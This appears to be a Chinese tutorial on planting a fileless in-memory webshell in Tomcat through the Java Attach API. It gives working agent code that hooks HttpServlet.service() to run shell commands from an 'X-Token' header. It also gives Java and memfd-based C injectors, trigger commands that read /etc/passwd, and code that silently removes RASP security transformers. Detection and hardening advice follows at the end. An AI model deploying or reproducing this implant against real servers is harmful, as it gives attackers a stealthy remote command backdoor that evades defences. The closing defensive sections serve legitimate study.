Java Attach API内存注入
字数 4029
更新时间 2026-05-10 17:53:29

Java Attach API 内存注入技术分析与实战教学文档

文档概述

本文档基于《Java Attach API内存注入》技术文章,详细解析利用Java Attach API实现内存Webshell注入的原理、步骤、无文件攻击技术、攻击痕迹及防御方案。内容涵盖从环境搭建、Agent开发、注入执行到反取证的全过程,旨在为安全研究人员提供完整的技术参考。

1. 技术原理与前提条件

1.1 Java Attach API 简介

  • 定义com.sun.tools.attach 是HotSpot JVM提供的动态诊断接口,允许外部JVM进程连接到目标JVM并执行管理操作。
  • 核心功能:加载Agent、获取系统属性、触发heap dump等。
  • 应用场景jstackjmapArthas等运维工具的底层基础。
  • 攻击价值:提供无需修改目标进程启动参数、无需重启服务、无需文件落盘的代码注入通道,可用于内存级持久化。

1.2 AttachListener 懒加载机制

  • 默认状态:HotSpot JVM启动时不会创建AttachListener线程和Unix Domain Socket。
  • 触发条件:当外部进程首次尝试Attach时(通过创建.attach_pid<PID>文件并发送SIGQUIT信号),JVM的Signal Dispatcher线程检测到条件后启动AttachListener。
  • 检测点:首次注入会导致/tmp/.java_pid<PID> Socket文件创建,这是潜在的防御检测点。

2. 环境搭建与基础依赖

2.1 实验环境配置

组件 版本 用途
操作系统 Kali Linux 2026.1 (6.x kernel) 攻击机兼靶机
JDK OpenJDK 25.0.3-ea 编译Agent/注入器
Tomcat 9.0.117 目标Web应用
GCC 15.2.0 编译C注入器
javassist 3.30.2-GA 字节码操作

2.2 靶机部署步骤

# 下载并启动Tomcat
cd /opt
wget -q https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.117/bin/apache-tomcat-9.0.117.tar.gz
tar xzf apache-tomcat-9.0.117.tar.gz
cd apache-tomcat-9.0.117
./bin/startup.sh

# 验证进程
ps -ef | grep '[c]atalina'
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/

2.3 工作目录准备

mkdir -p /tmp/inject/{src/com/inject/agent,build/META-INF,lib}
cd /tmp/inject
wget -q -O lib/javassist.jar \
  https://repo1.maven.org/maven2/org/javassist/javassist/3.30.2-GA/javassist-3.30.2-GA.jar

3. JVMTI Agent开发:内存Webshell载荷

3.1 Agent核心逻辑

  • 注入点:通过Instrumentation.retransformClasses()重写HttpServlet.service()方法字节码。
  • 触发条件:检测HTTP请求头X-Token,存在时将其值作为系统命令执行。
  • 输出方式:将命令执行结果通过HTTP响应返回。

3.2 Agent源码关键设计

package com.inject.agent;

// 类定义:MemShellAgent
public class MemShellAgent {
    public static void agentmain(String args, Instrumentation inst) {
        // 查找已加载的HttpServlet类
        for (Class<?> clazz : inst.getAllLoadedClasses()) {
            if (clazz.getName().equals("javax.servlet.http.HttpServlet")) {
                try {
                    inst.addTransformer(new MemShellTransformer(), true);
                    inst.retransformClasses(clazz);
                    System.out.println("[Agent] Retransform successful");
                } catch (Exception e) {
                    System.err.println("[Agent] Retransform failed: " + e);
                }
                return;
            }
        }
    }
}

3.3 字节码修改逻辑(MemShellTransformer)

static class MemShellTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className,
                           Class<?> cls, ProtectionDomain pd, byte[] bytecode) {
        if (!"javax/servlet/http/HttpServlet".equals(className)) {
            return null;
        }
        
        // 使用javassist修改字节码
        try {
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader));
            CtClass cc = pool.get("javax.servlet.http.HttpServlet");
            CtMethod method = cc.getDeclaredMethod("service", ...);
            
            // 插入恶意载荷到方法体最前面
            method.insertBefore(getPayload());
            byte[] modified = cc.toBytecode();
            cc.detach();
            return modified;
        } catch (Exception e) {
            return null;
        }
    }
    
    private String getPayload() {
        return "{" +
               "  javax.servlet.http.HttpServletRequest _req = " +
               "    (javax.servlet.http.HttpServletRequest)$1;" +
               "  javax.servlet.http.HttpServletResponse _resp = " +
               "    (javax.servlet.http.HttpServletResponse)$2;" +
               "  String _cmd = _req.getHeader(\"X-Token\");" +
               "  if (_cmd != null && _cmd.length() > 0) {" +
               "    try {" +
               "      String[] _exec = new String[]{\"/bin/sh\", \"-c\", _cmd};" +
               "      Process _p = Runtime.getRuntime().exec(_exec);" +
               "      // 读取命令输出并写入响应" +
               "      ..." +
               "      return;" + // 关键:命中时直接返回,不执行原始逻辑
               "    } catch (Exception _e) { ... }" +
               "  }" +
               "}";
    }
}

3.4 关键技术细节

  • 变量命名:使用前缀_避免与原始方法局部变量冲突。
  • 参数引用$1$2代表javassist语法中的第一、二个参数。
  • Hook位置选择:选择HttpServlet.service()而非doGet/doPost,确保所有HTTP方法都能触发。
  • 异常处理:Agent代码异常不应导致目标应用崩溃,需静默处理。

3.5 MANIFEST.MF配置

Manifest-Version: 1.0
Agent-Class: com.inject.agent.MemShellAgent
Can-Retransform-Classes: true
Can-Redefine-Classes: true

关键Can-Retransform-Classes: true是必需的,否则retransformClasses()调用将抛出UnsupportedOperationException

4. 标准注入流程

4.1 编译打包Agent

# 编译
javac -cp lib/javassist.jar -d build src/com/inject/agent/MemShellAgent.java

# 解压javassist依赖
cd build && jar xf ../lib/javassist.jar javassist && cd ..

# 打包
jar cmf build/META-INF/MANIFEST.MF agent.jar -C build .

# 验证
jar tf agent.jar | grep -E "(MANIFEST|MemShell|javassist/CtClass)"

4.2 Java注入器实现

import com.sun.tools.attach.VirtualMachine;

public class Injector {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            // 列出可用JVM进程
            for (VirtualMachineDescriptor vmd : VirtualMachine.list()) {
                System.out.printf(" PID=%-7s %s%n", vmd.id(), vmd.displayName());
            }
            return;
        }
        
        String pid = args[0];
        String agentPath = new File(args[1]).getAbsolutePath();
        
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(agentPath);  // 核心注入方法
        vm.detach();
    }
}

4.3 执行注入

# 查找目标PID
TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')

# 编译注入器
javac Injector.java

# 执行注入
java Injector ${TARGET_PID} agent.jar

4.4 验证注入效果

# 检查Tomcat日志
tail -5 /opt/apache-tomcat-9.0.117/logs/catalina.out

# 正常请求(无X-Token头)
curl -s http://localhost:8080/ | head -3

# 触发内存马执行命令
curl -s -H "X-Token: id" http://localhost:8080/
curl -s -H "X-Token: uname -a" http://localhost:8080/
curl -s -H "X-Token: cat /etc/passwd | head -5" http://localhost:8080/

# 任意路径均可触发(证明Hook点在service()方法)
curl -s -H "X-Token: whoami" http://localhost:8080/any/random/path

5. 无文件注入技术:memfd_create

5.1 无文件注入原理

  • 核心:使用Linux内核的memfd_create()系统调用创建匿名内存文件。
  • 优势:Agent JAR不落地磁盘,完全在内存中处理。
  • 流程
    1. 将Agent JAR读取到用户空间缓冲区
    2. 通过memfd_create()创建匿名文件描述符
    3. 将JAR数据写入内存文件描述符
    4. 构造/proc/self/fd/<fd>路径供目标JVM读取
    5. 注入完成后关闭描述符,内存文件自动销毁

5.2 C语言注入器核心代码

#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>

// 自定义memfd_create包装(兼容旧glibc)
static int my_memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}

int main(int argc, char *argv[]) {
    // Step 1: 读取JAR到内存
    FILE *fp = fopen(jar_path, "rb");
    fseek(fp, 0, SEEK_END);
    long jar_size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    unsigned char *jar_buf = (unsigned char *)malloc(jar_size);
    fread(jar_buf, 1, jar_size, fp);
    fclose(fp);
    
    // Step 2: 创建匿名内存文件
    int memfd = my_memfd_create("", MFD_CLOEXEC);
    
    // Step 3: 写入JAR数据到内存fd
    write(memfd, jar_buf, jar_size);
    free(jar_buf);
    
    // Step 4: 构造/proc路径
    char memfd_path[256];
    snprintf(memfd_path, sizeof(memfd_path), "/proc/%d/fd/%d", getpid(), memfd);
    
    // Step 5: 执行Attach注入
    int result = do_attach_load(target_pid, memfd_path);
    
    // Step 6: 关闭memfd(内存文件自动销毁)
    close(memfd);
    return result;
}

5.3 编译与执行

# 编译C注入器
gcc -O2 -o fileless_injector fileless_injector.c

# 重启Tomcat获取干净环境
/opt/apache-tomcat-9.0.117/bin/shutdown.sh
sleep 2
/opt/apache-tomcat-9.0.117/bin/startup.sh
sleep 3

# 获取新PID并注入
TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
./fileless_injector ${TARGET_PID} agent.jar

5.4 无文件特性验证

# 1. 验证内存马功能
curl -s -H "X-Token: id" http://localhost:8080/x

# 2. 删除磁盘文件
rm -f /tmp/inject/agent.jar
rm -f /tmp/inject/fileless_injector

# 3. 内存马依然有效
curl -s -H "X-Token: whoami" http://localhost:8080/y

# 4. 检查JVM中无memfd残留
ls -la /proc/${TARGET_PID}/fd/ | grep memfd

5.5 关键证据链

  1. 注入器进程退出后:其/proc/PID目录被内核回收,memfd文件描述符关闭,匿名内存文件销毁。
  2. 目标JVM不持有fd:加载Agent时一次性读取JAR内容到堆内存,不持有源文件fd。
  3. 字节码驻留Metaspace:删除磁盘文件后内存马仍有效,因为修改后的字节码已驻留JVM的Metaspace。
  4. 全程零落盘可能:生产环境中可通过网络直接接收JAR字节流写入memfd。

6. 攻击痕迹分析

6.1 必现痕迹

6.1.1 Socket文件创建

ls -la /tmp/.java_pid${TARGET_PID}
  • 产生条件:首次Attach时创建。
  • 特征:Unix Domain Socket文件,创建时间标记首次Attach时刻。
  • 局限性:无法区分合法监控工具(Arthas/SkyWalking)与恶意注入。

6.1.2 Attach Listener线程

jcmd ${TARGET_PID} Thread.print | grep "Attach Listener"
  • 状态waiting on condition表示已完成任务等待下次连接。
  • 关键指标:CPU时间(如cpu=130.53ms)表明处理过Attach请求。
  • 检测方法:需主动执行jcmdjstack获取线程快照。

6.2 隐蔽性分析

6.2.1 后续注入隐蔽性

  • Socket已存在时:后续注入不会创建新文件,文件系统监控(如inotify)完全失效。
  • 预判检查
    test -S /tmp/.java_pid${TARGET_PID} && echo "Socket exists, stealth mode"
    

6.2.2 合法工具"搭便车"

  • Arthas、SkyWalking等APM工具常使Socket提前存在。
  • 攻击者可利用已有Socket实现零文件系统痕迹注入。

6.3 内存痕迹

  • 字节码修改:驻留在Metaspace中的修改后类字节码。
  • Transformer注册:JVM内部的Transformer注册记录。
  • 系统调用序列:内核审计日志中的memfd_createconnect等调用。

7. 反取证与对抗技术

7.1 绕过AttachListener检测

  • 场景:目标JVM从未被Attach过(无Socket文件)。
  • 对策:无完美方案,首次注入必然产生Socket文件和线程。

7.2 对抗RASP(运行时应用自保护)

7.2.1 识别并移除RASP Transformer

private static void neutralizeTransformers(Instrumentation inst) {
    try {
        // 获取TransformerManager
        java.lang.reflect.Field tmField = inst.getClass()
            .getDeclaredField("mTransformerManager");
        tmField.setAccessible(true);
        Object tm = tmField.get(inst);
        
        // 获取Transformer数组
        java.lang.reflect.Method getMethod = tm.getClass()
            .getDeclaredMethod("getSnapshotTransformerList");
        getMethod.setAccessible(true);
        Object[] infoArray = (Object[]) getMethod.invoke(tm);
        
        for (Object info : infoArray) {
            java.lang.reflect.Field tField = info.getClass()
                .getDeclaredField("mTransformer");
            tField.setAccessible(true);
            ClassFileTransformer t = (ClassFileTransformer) tField.get(info);
            String tClassName = t.getClass().getName().toLowerCase();
            
            // 匹配已知RASP特征
            if (tClassName.contains("rasp") ||
                tClassName.contains("openrasp") ||
                tClassName.contains("jrasp") ||
                tClassName.contains("security.agent")) {
                inst.removeTransformer(t);  // 静默移除
            }
        }
    } catch (Exception ignored) {
        // 反射失败不影响主逻辑
    }
}

7.2.2 RASP对抗局限性

  1. 混淆类名:商业RASP使用混淆类名或动态生成Transformer。
  2. 行为特征识别:需通过Transformer访问的类范围等行为特征识别。
  3. 副作用风险:移除所有非JDK内置Transformer可能影响合法AOP框架。

8. 防御建议

8.1 根本性防护

8.1.1 禁用Attach机制

# JVM启动参数
-XX:+DisableAttachMechanism
  • 效果:完全禁用Attach API,但会影响合法监控工具使用。

8.2.2 系统级隔离(最有效)

# /etc/systemd/system/tomcat.service
[Service]
PrivateTmp=true
  • 原理:利用Linux mount namespace为服务创建隔离的/tmp目录。
  • 效果:外部进程在主机/tmp创建的文件对JVM不可见,阻断.attach_pid触发。

8.2 检测方案

8.2.1 文件系统监控

# 监控.java_pid和.attach_pid文件创建
inotifywait -m -e create /tmp/ 2>/dev/null | grep -E '\.(java_pid|attach_pid)'

8.2.2 系统调用监控

  • eBPF探针:监控对/tmp/.java_pid* Socket的connect()系统调用。
  • auditd审计:监控SIGQUIT信号的发送源。

8.2.3 字节码完整性校验

# 建立类字节码哈希基线
jcmd <PID> GC.class_stats | md5sum > /opt/security/class_baseline.md5

# 定期检查(crontab)
jcmd <PID> GC.class_stats | md5sum | diff - /opt/security/class_baseline.md5

8.3 运维层防护措施

  1. 定期巡检:检查/tmp/.java_pid*文件存在性。
  2. 线程监控:定期采集JVM线程快照,检查Attach Listener线程状态。
  3. 权限控制:限制对JVM进程发送信号的权限。

8.4 防御组合建议

措施 防护效果 对业务影响 实施成本
PrivateTmp=true 高(阻断第一步)
-XX:+DisableAttachMechanism 最高(完全禁用) 影响合法监控
eBPF系统调用监控 中(可发现连接)
字节码哈希校验 中(可发现修改) 可能误报
定期文件巡检 低(仅首次有效)

9. 技术认识与总结

9.1 无文件≠无痕迹

  • 内存痕迹:修改后的字节码、Transformer注册记录、Metaspace数据。
  • 内核痕迹:审计日志中的系统调用序列。
  • 网络痕迹:内存马通信流量。

9.2 攻击成本与防御成本

  • 攻击成本低:利用现有API,无需0day。
  • 防御成本高:需要多层防御措施组合。
  • 最佳实践PrivateTmp=true + 定期字节码校验 + 系统调用监控。

9.3 法律与道德声明

重要提示:本文档所有技术内容仅用于安全研究和防御能力建设。在未经授权的系统上使用相关技术属于违法行为。进行渗透测试前必须获得书面授权并明确测试范围。

10. 扩展思考

  1. 检测演进:基于机器学习的字节码异常检测。
  2. 攻击演进:利用JVM内部机制绕过PrivateTmp隔离。
  3. 防御演进:硬件级可信执行环境(TEE)保护关键类。

文档生成基于:先知社区文章《Java Attach API内存注入》(https://xz.aliyun.com/news/92103),内容经过技术提炼和结构化重组,确保关键点无遗漏。

相似文章
相似文章
 全屏